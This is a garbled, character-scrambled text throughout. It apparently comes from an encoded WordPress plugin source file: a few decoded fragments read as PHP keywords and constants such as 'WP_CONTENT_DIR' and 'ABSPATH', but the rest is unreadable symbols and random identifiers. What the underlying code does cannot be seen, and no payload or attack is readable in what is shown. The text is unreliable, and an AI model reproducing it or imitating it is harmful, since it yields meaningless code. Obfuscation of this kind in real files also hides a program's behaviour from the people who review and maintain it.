@DZNOYA #UU					@N[KMFGKOJZ @N[KMFGKOJZ 	@DZNOYA #	UU	KKAEPBMEYMGE SPDBZLLFM] 				@DZNOYA #	 		O\BDP\^F						][\L#	T#	@O	[SPPZCBOS@J					CvLKBSQ__N^X				AJA\YP@BAvv				O\BDP\^F									H[AOJGJB 	[L]\[G####		H[DOSXZ@A				#				DCD[LZ@BKN\_				@DZNOYA#	@O	[SPPZCBOS@J 			R#			@O			SPDBZLLFM] @^v_XSYHPXKSN 			@DZNOYA		YMYPK@KASFGB  		H[DOSXZ@A					@N[KMFGKOJZ uG	YMYPK@KASFGBrt #				DCD[LZ@BKN\_			@^v_XSYHPXKSN KKAEPBMEYMGE 						@DZNOYA ###			@O		KKAEPBMEYMGE DCD[LZ@BKN\_  			[L]\[G#			@O		SPDBZLLFM] KKAEPBMEYMGE 						DCD[LZ@BKN\_			EP]BSZKD_Q  					H[DOSXZ@A				uG			SPDBZLLFM] uG		EP]BSZKD_Qrt #DCD[LZ@BKN\_				KKAEPBMEYMGE SPDBZLLFM] 					DCD[LZ@BKN\_ #	@O		KKAEPBMEYMGE DCD[LZ@BKN\_  			[L]\[G#T#				@O				CvLKBSQ__N^X					@N[KMFGKOJZ KKAEPBMEYMGE 			DCD[LZ@BKN\_  	R#	DCD[LZ@BKN\_						@N[KMFGKOJZ @^v_XSYHPXKSN 		KKAEPBMEYMGE 									MLO@GL	~yv}ldyvm`{		MLO@GLM	~yvjfg}lg}vm`{	 		~yvjfg}lg}vm`{		hkzyh}a		^YJFG]LG]	 		ZJv]DY	 uG	DCD[LZ@BKN\_	 #						@O	@N[KMFGKOJZ DCD[LZ@BKN\_  	[L]\[G##					T###				@O				AJA\YP@BAvv						SPDBZLLFM] @N[KMFGKOJZ 	DCD[LZ@BKN\_  		R#	DCD[LZ@BKN\_				@N[KMFGKOJZ @^v_XSYHPXKSN 		@^v_XSYHPXKSN 			MLO@GL	~yvjhjal	][\L	 		zjv~j	uG	DCD[LZ@BKN\_			 #		@O			SPDBZLLFM] DCD[LZ@BKN\_  	[L]\[G#					T	LEZL@O			H[AOJGJB 				R#	DCD[LZ@BKN\_						SPDBZLLFM] @^v_XSYHPXKSN 	KKAEPBMEYMGE 		MLO@GL	~yvjhjal	][\L	 		zjv~j	uG		DCD[LZ@BKN\_					 #			@O			@N[KMFGKOJZ DCD[LZ@BKN\_  						[L]\[G#	T##						@O		O\BDP\^F 				R#						DCD[LZ@BKN\_							@N[KMFGKOJZ @N[KMFGKOJZ 							DCD[LZ@BKN\_ #			@O	KKAEPBMEYMGE DCD[LZ@BKN\_  			[L]\[G#@O				@^v_XSYHPXKSN @N[KMFGKOJZ 			DCD[LZ@BKN\_  				R#						DCD[LZ@BKN\_		SPDBZLLFM] SPDBZLLFM] 	SPDBZLLFM] 					MLO@GL	~yvmlk|n	][\L	 uGMLO@GL	~yvmlk|nvefn	][\L	 uGMLO@GL	~yvmlk|nvm`zyehp	OHEZL	 uG	DCD[LZ@BKN\_				 ##						@O			@N[KMFGKOJZ DCD[LZ@BKN\_  		[L]\[G###T#		T#						@O						DCD[LZ@BKN\_				@DZNOYA 		[L]\[G#		@O				_SMG[M@XJvKJSK\DCD[LZ@BKN\_  					[L]\[G#		@O		AJA\YP@BAvv							GJvF\F]HHS@MLXDFHODDKY				@DZNOYA  	R###				FBQKvM[JB\ZMHPE\SPDBZLLFM] 			@^v_XSYHPXKSN  #	DCD[LZ@BKN\_				@^v_XSYHPXKSN @^v_XSYHPXKSN 		SPDBZLLFM] 				DCD[LZ@BKN\_				 #			@O			KKAEPBMEYMGE DCD[LZ@BKN\_ 			UU					DCD[LZ@BKN\_		@DZNOYA 						[L]\[G#						@O				_SMG[M@XJvKJSK\DCD[LZ@BKN\_  			[L]\[G#	T###					vMDHQOQHZ[KK			iO@ELYL[DZMLXDFHODDKY #						vMDHQOQHZ[KK							vMDHQOQHZ[KK				OHEZL 			QHQH 								vMDHQOQHZ[KK							  #	ZNPCJXZF			iKKAEPBMEYMGE MLXDFHODDKY #			E^^FYvAH[			i@N[KMFGKOJZ @^v_XSYHPXKSN MLXDFHODDKY 					KKAEPBMEYMGE  #						@O			E^^FYvAH[					OHEZL 					[L]\[G#			@O					iKKAEPBMEYMGE E^^FYvAH[				DCD[LZ@BKN\_ 							@^v_XSYHPXKSN DCD[LZ@BKN\_  	R#iKKAEPBMEYMGE E^^FYvAH[ #				[L]\[G#T#		iKKAEPBMEYMGE E^^FYvAH[		vMDHQOQHZ[KK #	@O	i@^v_XSYHPXKSN E^^FYvAH[		MLXDFHODDKY  				R#	O@G@]L	ZJALM\EL[	###					iKKAEPBMEYMGE E^^FYvAH[ #[L]\[G#	T#		@O					ZNPCJXZF 	i@N[KMFGKOJZ MLXDFHODDKY		ZNPCJXZF #		@O	@N[KMFGKOJZ KKAEPBMEYMGE   				iFYJHJALv@G_HE@MH]LMLXDFHODDKY				][\L #				@O			SPDBZLLFM] @N[KMFGKOJZ 				H[DOSXZ@A	ZCZAMK_\D[_  				R#			OF[LHJA		@N[KMFGKOJZ ZCZAMK_\D[_rt 				HZ		\[X@S@BQO 			R#	@O		@^v_XSYHPXKSN \[X@S@BQO				@N[KMFGKOJZ  												i@^v_XSYHPXKSN \[X@S@BQO  	iSPDBZLLFM] \[X@S@BQO #	T#			T#@O			@^v_XSYHPXKSN KKAEPBMEYMGE  							@^v_XSYHPXKSN @^v_XSYHPXKSN 			H[DOSXZ@A			APGP@@KA@  	R#			OF[LHJA			@^v_XSYHPXKSN APGP@@KA@rt 		HZ	YDA@Y[XG 		R#@O					@N[KMFGKOJZ @^v_XSYHPXKSN 		YDA@Y[XG  		iMLEL]LvFY]@FGYDA@Y[XG ###	T#					T#			T#					O\GJ]@FG		DXJQE[FY[\ #			R####					@O	MLO@GLMSPDBZLLFM]   		[L]\[G####		DHMCQKF^										MLO@GLM@N[KMFGKOJZ  						~yd|vye|n`gvm`{								~yvjfg}lg}vm`{					SPDBZLLFM] #^[]v^]BCNPAOBP							H[[HP #								@O		KKAEPBMEYMGE @N[KMFGKOJZ   	R#					@O		i@^v_XSYHPXKSN DHMCQKF^  		OF[LHJA			H[[HP 	iKKAEPBMEYMGE DHMCQKF^							SPDBZLLFM]  		HZ				_[A^HKNJZ 						^[]v^]BCNPAOBPrt		_[A^HKNJZ#			@O	MLO@GLM@^v_XSYHPXKSN  		iSPDBZLLFM] ~yvye|n`gvm`{  			OF[LHJA				H[[HP 				i@N[KMFGKOJZ ~yvye|n`gvm`{		@^v_XSYHPXKSN  			HZ				_[A^HKNJZ 	^[]v^]BCNPAOBPrt						_[A^HKNJZ#		T#						YQHMCZPXHGFN						MLO@GLM@^v_XSYHPXKSN  				hkzyh}a						#			BFK\BKX							~yvjfg}lg}vm`{					@^v_XSYHPXKSN 					SPDBZLLFM] @N[KMFGKOJZ YQHMCZPXHGFN					@^v_XSYHPXKSN  						  			@^v_XSYHPXKSN 						SPDBZLLFM] KKAEPBMEYMGE YQHMCZPXHGFN				@N[KMFGKOJZ  		w  			KKAEPBMEYMGE ###@O	i@N[KMFGKOJZ BFK\BKX  	^[]v^]BCNPAOBPrt			BFK\BKX#	OF[LHJA				^[]v^]BCNPAOBP		HZ	_[A^HKNJZ 	R#ZNPCJXZF		iKKAEPBMEYMGE _[A^HKNJZ ####	@O		ZNPCJXZF	UU	ZNPCJXZF						  					  			R####				HQX@SO[AK						i@^v_XSYHPXKSN _[A^HKNJZ #@O				HQX@SO[AK		UU			HQX@SO[AK				 		UU			HQX@SO[AK									  				JFG]@G\L#		T#	~y	jF_L[	kEFJB	YEHJLAFEML[	KE\[##N[QOPCHHG_C				iKKAEPBMEYMGE _[A^HKNJZ #	~y	dLM@H	}LQ]	kEFJB	\GMLJ@MHKEL	JFG][H_H[@HG]##	SCLOCSZK_LE@				iKKAEPBMEYMGE [ZKLSD_  #							@O		KKAEPBMEYMGE N[QOPCHHG_C 						KKAEPBMEYMGE SCLOCSZK_LE@ 			N[QOPCHHG_C						SCLOCSZK_LE@ 	JFG]@G\L#	_JQ]ZSF								i@^v_XSYHPXKSN _[A^HKNJZ			OHEZL					G\EE					  #			@O			@N[KMFGKOJZ _JQ]ZSF 			UU			@N[KMFGKOJZ _JQ]ZSF		@^v_XSYHPXKSN  					OHEZL 	JFG]@G\LBPZX\KN\NAOCLFEEBPZX\KN\N####			@O	KKAEPBMEYMGE KKAEPBMEYMGE 					_JQ]ZSF	DPSXY]Q^J]Q  		JFG]@G\L###	@O	_L[Z@FGvJFDYH[LDPSXY]Q^J]Qrt		^NKBHS]S^NFHGH^O] 					  				JFG]@G\L###			BCZXBCGBEQXY							\ZNQXBNHJLN[YPCN@NE_[A^HKNJZ #@O	BCZXBCGBEQXY				OHEZL 			R####	FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 		KKAEPBMEYMGE 						SPDBZLLFM] _[A^HKNJZ  #							JFG]@G\L#	T#	LGHKEL	ZBFELD	OF[	~y	L[ZL	kEFJB####			@O			BCZXBCGBEQXY		][\L 	R####		@O		A[E_SCK^\vBY_[A^HKNJZ				_[A^HKNJZ				@^v_XSYHPXKSN   		R#@O				@N[KMFGKOJZ @^v_XSYHPXKSN   				iFYJHJALv@G_HE@MH]L_[A^HKNJZ	][\L ##				T#	iSPDBZLLFM] @^v_XSYHPXKSN _[A^HKNJZ 						KKAEPBMEYMGE 						KKAEPBMEYMGE _[A^HKNJZ	KKAEPBMEYMGE   ##JFG]@G\L#	T#					i@^v_XSYHPXKSN _[A^HKNJZ #	iKKAEPBMEYMGE @N[KMFGKOJZ _[A^HKNJZ 					KKAEPBMEYMGE 			KKAEPBMEYMGE _[A^HKNJZ				SPDBZLLFM]   #		@O		KKAEPBMEYMGE KKAEPBMEYMGE   	iFYJHJALv@G_HE@MH]L_[A^HKNJZ		][\L #T###						SJQHNAP_F@EL #				PGH[CGY_						~yvjfg}lg}vm`{							@^v_XSYHPXKSN #	###	@O		i@N[KMFGKOJZ PGH[CGY_ 						@^v_XSYHPXKSN @N[KMFGKOJZ   			R####				OF[LHJA	H[[HP 		iKKAEPBMEYMGE PGH[CGY_						KKAEPBMEYMGE  						HZ	_DPPDMH_ 			R#		@O		i@^v_XSYHPXKSN _DPPDMH_ 	UU		iSPDBZLLFM] _DPPDMH_  	JFG]@G\L#	]JY]]OvF\K]]NA							i@^v_XSYHPXKSN _DPPDMH_ #	@O				]JY]]OvF\K]]NA			UU		]JY]]OvF\K]]NA			QMHQLM  				JFG]@G\L#		JXS@GCB_LC			iKKAEPBMEYMGE _DPPDMH_ #@O					@^v_XSYHPXKSN JXS@GCB_LC  				JFG]@G\L#				@O		@N[KMFGKOJZ JXS@GCB_LC	KKAEPBMEYMGE  		OHEZL				@N[KMFGKOJZ JXS@GCB_LC				KKAEPBMEYMGE  						OHEZL					@N[KMFGKOJZ JXS@GCB_LC	@N[KMFGKOJZ  									OHEZL 	JFG]@G\L#@O	SK\\QEEJXS@GCB_LC  		JFG]@G\L###NvFFG]H_SOK		_vCY[CYPXM@JXS@GCB_LC #	@O			KKAEPBMEYMGE NvFFG]H_SOK 						NvFFG]H_SOK				JXS@GCB_LC 			R#		ZKXOKS\JGG_ZQC@QY_DPPDMH_	NvFFG]H_SOK ####@O	@^v_XSYHPXKSN @^v_XSYHPXKSN   					iFYJHJALv@G_HE@MH]L_DPPDMH_		][\L #			T#	T#						T#				YEvGGGZ^GDSZ\]~yvjfg}lg}vm`{				KKAEPBMEYMGE  #	YEvGGGZ^GDSZ\]~yvjfg}lg}vm`{						KKAEPBMEYMGE  ##		@O					@^v_XSYHPXKSN @^v_XSYHPXKSN  									KKAEPBMEYMGE KKAEPBMEYMGE  						SPDBZLLFM] KKAEPBMEYMGE   	RBYGN_KGFF^AZFOEH]BYGN_KGF#	vFG			FZLYYKLLEQ[\Ahkzyh}a			KKAEPBMEYMGE 	  #	_XLMBHZH					iNL]vFY]@FGvFG			 #			@O			KKAEPBMEYMGE _XLMBHZH 				_XLMBHZH										 			R##	G_L^XADHCSO					SPDBZLLFM] _XLMBHZH	][\L #@O	@N[KMFGKOJZ G_L^XADHCSO 							NB^OAPLQ@HLZG_L^XADHCSO  		iMLEL]LvFY]@FGvFG #		T#		_J@OvB[C@FE					@N[KMFGKOJZ @^v_XSYHPXKSN  							AK@\_C^N^\[SGBvvQSPDBZLLFM] 	 		#		@O	@^v_XSYHPXKSN _J@OvB[C@FE 			_J@OvB[C@FE						@N[KMFGKOJZ _J@OvB[C@FE 				 			UU		@N[KMFGKOJZ @N[KMFGKOJZ  			K[N[JPDKAX]LS_J@OvB[C@FE  		UU				^K[DE^CJM[X_Q_J@OvB[C@FE   					R###@O	SPDBZLLFM] @^v_XSYHPXKSN   					CSvEESS]PSH[M^GBD_KKAEPBMEYMGE 			@^v_XSYHPXKSN  #T#T#T#						O\GJ]@FG		EBO_KJ@NXJJJZ #	RvDPvPNZL]S\yayvdhcf{vl{z`fg\vHLZvJ^PSBvDPvPNZL]S\##		][P	R#		@O				MLO@GLM@N[KMFGKOJZ   				[L]\[G#					@O		LDY]PnefkhezrKKAEPBMEYMGE t  	R###			nefkhezrKKAEPBMEYMGE t											#FBQKvM[JB\ZMHPE\SPDBZLLFM] 		@^v_XSYHPXKSN  #	T#	~y	kEFJB	}[HGZOF[DZ	LQYFGLG]@HE	[@GNK\OOL[####		@O					LDY]Pnefkhezr@N[KMFGKOJZ t  	[L]\[G#	nefkhezr@N[KMFGKOJZ t					][\L#			@O				@ZZL]vnl}r@^v_XSYHPXKSN t 			@N[KMFGKOJZ SPDBZLLFM]  							@^v_XSYHPXKSN SPDBZLLFM]   			R##						Av\ONQKZ					iNL]vFY]@FG@N[KMFGKOJZ 		H[[HP  #						KEvG_		OHEZL#		@O		@N[KMFGKOJZ Av\ONQKZ  					R\ZHHDZJO^EJO][EHDKF]\ZHHDZJO^#@O				LDY]PAv\ONQKZr]t 			KKAEPBMEYMGE  					@G] 			Av\ONQKZr@^v_XSYHPXKSN t				  	KEvG_			][\L#				##	@O				KEvG_			LDY]PAv\ONQKZrKKAEPBMEYMGE t 				@^v_XSYHPXKSN Av\ONQKZrSPDBZLLFM] t  			R#OF[LHJA			Av\ONQKZrSPDBZLLFM] t				HZ			vJ@ 		R##	@O			@N[KMFGKOJZ vJ@ 			@N[KMFGKOJZ  				@G] 		vJ@r@N[KMFGKOJZ t								  	R#	KEvG_				][\L#	K[LHB#	T#T#			T#	T#				@O				KEvG_ 	@N[KMFGKOJZ @N[KMFGKOJZ  #T#		@O		SDLMOCK_]JSDN^[ZKLSD_   	[L]\[G#	DXJQE[FY[\ #				F^ZNDHAG^B[ZKLSD_ 	^NKBHS]S^NFHGH^O]  #			@O	HNA_P@GZGMN  					R####				KJ]XFvSQvXN@BvPED #	ZMGQBB[BS[[XJNvZ #			[L]\[G#	]A[LHMZHOL	OHJ]F[P###T#			_ONSMO							\PMXQZ\DMJ_]\OH #			[_JPKSDYF^^					H[[HP##			[ZKLSD_ #			_ONSMO								KKAEPBMEYMGE # #	D[^OAKFX					O^DCFJECC_ #		OF[LHJA		D[^OAKFX			HZ				C@^O[]MGJ@P\] 	R##@O					i@N[KMFGKOJZ C@^O[]MGJ@P\]  			[_JPKSDYF^^rt									C@^O[]MGJ@P\]##	T#		FK@Y_[^		H[[HP #						@O		EMD^HNCXOK^Q  					R#				_^@vLKEP_E				FZLYYKLLEQ[\Ahkzyh}a					@N[KMFGKOJZ 					  			@^v_XSYHPXKSN DP]BPOBNNQMQL vZPDSBLvEDP]BPOBNN#FK@Y_[^r@N[KMFGKOJZ 					hkzyh}a				KKAEPBMEYMGE t						_^@vLKEP_E#		FK@Y_[^r@^v_XSYHPXKSN 				_ONSMO				@N[KMFGKOJZ t				_^@vLKEP_E#					T#		[_FFZv[vAFX\				@N[KMFGKOJZ @^v_XSYHPXKSN  		i@N[KMFGKOJZ @N[KMFGKOJZ  							OHEZL##		@O						@^v_XSYHPXKSN [_FFZv[vAFX\ 					[_FFZv[vAFX\						 				R#		P[SXYMEK		@G] 	NL]vFY]@FGSPDBZLLFM] 		 #@O	P[SXYMEK	UU			@N[KMFGKOJZ  						P[SXYMEK							  		R###FFL@DPBS						FZLYYKLLEQ[\Ahkzyh}a				KKAEPBMEYMGE 		  				SPDBZLLFM] #FK@Y_[^r@N[KMFGKOJZ 				@N[KMFGKOJZ hkzyh}a	@N[KMFGKOJZ  									[_FFZv[vAFX\t			FFL@DPBS#FK@Y_[^rSPDBZLLFM] 				_ONSMO									[_FFZv[vAFX\t							FFL@DPBS#							T#	T##vZO]HHFE						E@^NYDZ^vLY #			@O		iSPDBZLLFM] vZO]HHFErt  	FK@Y_[^r@N[KMFGKOJZ 					vZO]HHFErtt					@^v_XSYHPXKSN 					vZO]HHFErt#								vBAX[^\H_							iNL]vFY]@FGSPDBZLLFM] 			H[[HP  #		@O						@N[KMFGKOJZ vBAX[^\H_  	vBAX[^\H_							H[[HP #		[[A\LMEHA[^MK		OHEZL#	OF[LHJA					[_JPKSDYF^^	HZ		GEQBCJL 	RKLADK[@O^@DKX@Z@SL@P_KLADK[@O^@#		PHB_BE@MK[]P					i@^v_XSYHPXKSN GEQBCJL #					MvBvLN\							PHB_BE@MK[]P							PHB_BE@MK[]PrKKAEPBMEYMGE t						U			PHB_BE@MK[]PrSPDBZLLFM] t 							#		EYA@PQ\CFYYY					@ZZL]vBAX[^\H_rGEQBCJLt 			vBAX[^\H_rGEQBCJLt			#	@O			MvBvLN\					EYA@PQ\CFYYY 	JFG]@G\L#@O	@^v_XSYHPXKSN @N[KMFGKOJZ 			EYA@PQ\CFYYY			@JNBXDB@LXA 						@^v_XSYHPXKSN EYA@PQ\CFYYY			SPDBZLLFM] @JNBXDB@LXArt  						MvBvLN\							KKAEPBMEYMGE  				@G] 	@JNBXDB@LXArt							  				JFG]@G\L####					[[A\LMEHA[^MK					][\L#	K[LHB###			T##@O		[[A\LMEHA[^MK 			R####	OF[LHJA	FK@Y_[^			HZ			BLP						PM\_JEGBKX 		R###			MvBvLN\				KAH\PHY_FYG[SPDBZLLFM] BLP				w  		PM\_JEGBKX #	EYA@PQ\CFYYY								@ZZL]vBAX[^\H_rBLPt 				vBAX[^\H_rBLPt				#		@O			MvBvLN\					EYA@PQ\CFYYY 				JFG]@G\L#			@O			KKAEPBMEYMGE @N[KMFGKOJZ 	EYA@PQ\CFYYY	@JNBXDB@LXA 						KKAEPBMEYMGE EYA@PQ\CFYYY					@N[KMFGKOJZ @JNBXDB@LXArt  					MvBvLN\			@N[KMFGKOJZ  					@G] 			@JNBXDB@LXArt							  		JFG]@G\L#		[[A\LMEHA[^MK			][\L#					K[LHB####					T#				T#	@G[JMC_vOC							KKAEPBMEYMGE [ZKLSD_ 		@N[KMFGKOJZ  ##XOXYYJLA^G			_ONSMO						SPDBZLLFM] 			@G[JMC_vOC								@G[JMC_vOC							@N[KMFGKOJZ #							CvSBSX^OH										^S_KJLMFEvE #			@O		i@N[KMFGKOJZ XOXYYJLA^G 		UU					@G] 		i@^v_XSYHPXKSN XOXYYJLA^G 								  		[[A\LMEHA[^MK			][\L#		@O		CvSBSX^OH									iKKAEPBMEYMGE CvSBSX^OH  			[[A\LMEHA[^MK						][\L#				@O					[[A\LMEHA[^MK		KKAEPBMEYMGE KKAEPBMEYMGE   			R#	iP@LEM	\G@O@JH]@FG##		KQ]KS			@G[JMC_vOC					@G[JMC_vOC									KKAEPBMEYMGE ####						@PS[NGZMCD					NL]vFY]@FGSPDBZLLFM] 	H[[HP  #								@O		@N[KMFGKOJZ @PS[NGZMCD 	UU	@N[KMFGKOJZ KQ]KS		@PS[NGZMCD			][\L  		[[A\LMEHA[^MK							][\L####					T#							@O	[[A\LMEHA[^MK 				[L]\[G#			##@O				JD@CQMEODG^@N[KMFGKOJZ   		[L]\[G#						][P	R#							K@^Y[NAC\OK]^G ###	NJAKENZPDH_SD_AN ADZGACMQyayvdhcf{vl{z`fgSF[@_v[\HJQADZGACMQ##	ZMGQBB[BS[[XJNvZ #							MOQFEPFCENML_K@Z #	GLZJ]Gv_SP #							KJ]XFvSQvXN@BvPED ##						JJNHBSQDY@EDYHE\ #	K@@CCXBOBDGFJY HZYHYGD\PKD@vM_[]QHHZYHYGD\P#			OKCHF@							BHQQYMOF@LP]XXH #			FB@ZBEJAJE@APQP			MKvZXSQHXQ #					DvXvSAMJJC					H[[HP ##				OF[LHJA					[_JPKSDYF^^				HZ		GEQBCJL 			R#BZHSPFZB]EL						GEQBCJL						_ONSMO						KKAEPBMEYMGE 							OKCHF@ 		UU	SPDBZLLFM] GEQBCJL	  							KKAEPBMEYMGE 							FB@ZBEJAJE@APQP #				PHB_BE@MK[]P			i@N[KMFGKOJZ GEQBCJL ####	@O				PHB_BE@MK[]P 		R#	GLNH]@_LMLO@G@]L	CF\[GHE	##					DvXvSAMJJCrGEQBCJLt							PHB_BE@MK[]PrSPDBZLLFM] t						U			PHB_BE@MK[]Pr@N[KMFGKOJZ t		BZHSPFZB]EL			SPDBZLLFM] 									SPDBZLLFM]  				 #T#T#	OF[LHJA	FK@Y_[^			HZ			BLP							PM\_JEGBKX 	R#	B_AK^@DQ@Z			KAH\PHY_FYG[@^v_XSYHPXKSN BLP		QQ  	PM\_JEGBKX #		@O		B_AK^@DQ@Z												UU			@N[KMFGKOJZ B_AK^@DQ@Z					 					KKAEPBMEYMGE  		B_AK^@DQ@Z				@N[KMFGKOJZ 				@N[KMFGKOJZ  #DvXvSAMJJCrBLPt					B_AK^@DQ@Z#	T#			i\YMH]LvFY]@FGKKAEPBMEYMGE 	DvXvSAMJJC					@^v_XSYHPXKSN  ##								T	O@GHEEP	R#			NZADHFK@PJ[SPDBZLLFM]  ####						T#	T	JH]JA			}A[F^HKEL				E]GYK]v 		R#	FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 		E]GYK]v #			T	JH]JA					lQJLY]@FG	E]GYK]v 						R#		T####	T###	O\GJ]@FG				KAH\PHY_FYG[GEQBCJL				PM\_JEGBKX #	R##PHB_BE@MK[]P					i@N[KMFGKOJZ GEQBCJL #			@O			PHB_BE@MK[]P 		[L]\[G				#MvBvLN\			PHB_BE@MK[]PrSPDBZLLFM] t						U							PHB_BE@MK[]PrKKAEPBMEYMGE t##					@O	PHB_BE@MK[]Pr@N[KMFGKOJZ t			  			[L]\[G						KKAEPBMEYMGE 							MvBvLN\##	@DZNOYA				iKKAEPBMEYMGE GEQBCJL ##		[L]\[G		MvBvLN\								U								@^v_XSYHPXKSN @DZNOYA 				KKAEPBMEYMGE @DZNOYA	PM\_JEGBKX 			OHEZL 											 #T###				O\GJ]@FG		[QPQ__ZDE_XBDvSK #	R#						vY_				KKAEPBMEYMGE @^v_XSYHPXKSN  			NL]vFY]@FG@N[KMFGKOJZ 					 				#							GFvJZJNvAABEFF\N #		v@JLXM]QG@@\					@^v_XSYHPXKSN KKAEPBMEYMGE  				NL]vFY]@FG@^v_XSYHPXKSN 			 					##		@O	v@JLXM]QG@@\								vY_ 		iMLEL]LvFY]@FG@^v_XSYHPXKSN  ##T###	O\GJ]@FG			GFvJZJNvAABEFF\N #			RADS_AL@UO[F@FGPHXADS_AL@w####][P			R#							@O						MLO@GLM@^v_XSYHPXKSN   					[L]\[G#		_ONSMO					\PMXQZ\DMJ_]\OH ]]FGyayv`g}vdhqyayv`g}vdhqNXLN]]FG#			LCB\LSHJLG[O				^D]]OFPX_KGKN@ #	XONOYOA[[									FZLYYKLLEQ[\Ahkzyh}a		@N[KMFGKOJZ 					  					@N[KMFGKOJZ #				E@J_vM@Y						FZLYYKLLEQ[\Ahkzyh}a							@N[KMFGKOJZ 		  				KKAEPBMEYMGE #KLKN_OLM						FZLYYKLLEQ[\Ahkzyh}a								@^v_XSYHPXKSN 			  						@N[KMFGKOJZ #			CHXXYBHD								FZLYYKLLEQ[\Ahkzyh}a				SPDBZLLFM] 				QQ  			SPDBZLLFM] #					XB\F]NKDABQKY			FZLYYKLLEQ[\Ahkzyh}a					KKAEPBMEYMGE 		QQ  		SPDBZLLFM] #			QPGCZJF^Z						KKAEPBMEYMGE 							FZLYYKLLEQ[\Ahkzyh}a						N		  #			_MOvZG@]N						H[[HP#_ONSMO				@N[KMFGKOJZ 				@^v_XSYHPXKSN #_ONSMO			@N[KMFGKOJZ 									SPDBZLLFM] #	 #	OF[LHJA			_MOvZG@]N		HZ		GEQBCJL				Y[LO@Q 		R#			@O	iSPDBZLLFM] GEQBCJL  			JFG]@G\L#@DZNOYA						iKKAEPBMEYMGE GEQBCJL ####				@O	@DZNOYA					OHEZL 		JFG]@G\L###	E[S\H[H]ALQ			KKAEPBMEYMGE 								Y[LO@Q								@N[KMFGKOJZ 					Y[LO@Q						@^v_XSYHPXKSN #				DKBSKvSvKG						SPDBZLLFM] E[S\H[H]ALQ			@DZNOYA #			@O				DKBSKvSvKG			@DZNOYA 	ZKXOKS\JGG_ZQC@QYGEQBCJL	DKBSKvSvKG ####						T#	ZACSM]Z						_ONSMO				@N[KMFGKOJZ #			@O		i@^v_XSYHPXKSN ZACSM]Z  		R#		GLMNNPHH					i@^v_XSYHPXKSN ZACSM]Z #				@O	KKAEPBMEYMGE GLMNNPHH 					GLMNNPHH							 					R###	@O						KKAEPBMEYMGE KKAEPBMEYMGE 			SPDBZLLFM] GLMNNPHH			   					UU			SPDBZLLFM] GLMNNPHH				KKAEPBMEYMGE  		 			R#		XX]L[vEYC^\OZSZ_@JLZACSM]Z				  #	@PE[Z\[XJ_PLXGZACSM]Z #	T	LEZL	R#	ZL[@HE@SHKEL	][HGZOF[DL[##H\G^HKCJMJZJ		SPDBZLLFM] KKAEPBMEYMGE 				GLMNNPHH #							@O	KKAEPBMEYMGE H\G^HKCJMJZJ 							H\G^HKCJMJZJ				GLMNNPHH 			ZKXOKS\JGG_ZQC@QYZACSM]Z				H\G^HKCJMJZJ #	\GZL]H\G^HKCJMJZJ #				T#				T#\GZL]GLMNNPHH _PPL]QMUNK^Q_KXvC]_PPL]QMw#T#	YN@KKM					@^v_XSYHPXKSN [ZKLSD_  										KKAEPBMEYMGE KvYMLXSvDQQ HNKZYCJKvYMLXSvD#				]\CAHAFML@HB									MLO@GLM@^v_XSYHPXKSN  					~yvjfg}lg}vm`{				@^v_XSYHPXKSN 					YN@KKM#				QvL@DHL^QL				H[[HP#				_ONSMO													XONOYOA[[#					_ONSMO							E@J_vM@Y#_ONSMO									KLKN_OLM#LCB\LSHJLG[O										CHXXYBHD#	LCB\LSHJLG[O								XB\F]NKDABQKY##	LCB\LSHJLG[O												E@J_vM@Y#						LCB\LSHJLG[O									KLKN_OLM###	YN@KKM										CHXXYBHD#					YN@KKM											XB\F]NKDABQKY#				YN@KKM									E@J_vM@Y#							YN@KKM														KLKN_OLM#					]\CAHAFML@HB												CHXXYBHD###		]\CAHAFML@HB											XB\F]NKDABQKY#						]\CAHAFML@HB							E@J_vM@Y#	]\CAHAFML@HB					KLKN_OLM#		 #						]v[^OXAX]P				E@^NYDZ^vLY #		QvL@DHL^QLrt				]v[^OXAX]Prt#	QvL@DHL^QLrt								]v[^OXAX]Prt			@N[KMFGKOJZ #	\GZL]]v[^OXAX]P #				@O	@^v_XSYHPXKSN KKAEPBMEYMGE   	R#		OF[LHJA			H[[HP 			i@N[KMFGKOJZ _ONSMO				@N[KMFGKOJZ 							XONOYOA[[ 					HZ					APvD 			QvL@DHL^QLrt			APvD#	OF[LHJA		H[[HP 		i@N[KMFGKOJZ _ONSMO					SPDBZLLFM] 					XONOYOA[[ 	HZ	APvD 				QvL@DHL^QLrt						APvD#OF[LHJA		H[[HP 	i@^v_XSYHPXKSN hkzyh}a						KKAEPBMEYMGE 			QPGCZJF^Z			@N[KMFGKOJZ  		HZ						EYCHFE 	QvL@DHL^QLrt				EYCHFE#OF[LHJA			H[[HP 			iKKAEPBMEYMGE _ONSMO															QPGCZJF^Z				@N[KMFGKOJZ  		HZ			EYCHFE 			QvL@DHL^QLrt				EYCHFEEv^HEXKSyayvdhcf{vl{z`fgHMYQEv^HEXKS#OF[LHJA			H[[HP 	iSPDBZLLFM] LCB\LSHJLG[O					QPGCZJF^Z						@N[KMFGKOJZ  		HZ				EYCHFE 		QvL@DHL^QLrt						EYCHFE#OF[LHJA					H[[HP 		i@N[KMFGKOJZ YN@KKM										QPGCZJF^Z			SPDBZLLFM]  		HZ			EYCHFE 			QvL@DHL^QLrt								EYCHFE#OF[LHJA	H[[HP 		iKKAEPBMEYMGE ]\CAHAFML@HB													QPGCZJF^Z							@^v_XSYHPXKSN  			HZ	EYCHFE 		QvL@DHL^QLrt					EYCHFE#		T#AP[OAG^[PQv				FZLYYKLLEQ[\Ahkzyh}a			N	  #		vYGvD_ZE						H[[HPhkzyh}a								KKAEPBMEYMGE 				_ONSMO				LCB\LSHJLG[O		YN@KKM						]\CAHAFML@HB ####					OF[LHJA		vYGvD_ZE		HZ			vNM 					R#	~F[My[LZZ		JFDDHGMZ	YFZ@]@_LMLO@G@]L	J@YAL[Z\@]L##			@O		i@^v_XSYHPXKSN vNM 				iKKAEPBMEYMGE vNM  		]CMKXXQK@G\FHvNM			@^v_XSYHPXKSN 							AP[OAG^[PQv		^NKBHS]S^NFHGH^O] 	@^v_XSYHPXKSN  #		T#					@O						KKAEPBMEYMGE SPDBZLLFM]   		R#OF[LHJA	vYGvD_ZE	HZ			vNM 					R#			OF[LHJA		H[[HPSPDBZLLFM] 	@^v_XSYHPXKSN 	SPDBZLLFM] 			@^v_XSYHPXKSN 				KKAEPBMEYMGE 				@^v_XSYHPXKSN 		@N[KMFGKOJZ 			SPDBZLLFM] 	@^v_XSYHPXKSN  		HZ		BNQM_AA_\N 			RCSY_POQHNKSQQL C]LDHZLCSY_POQHNKS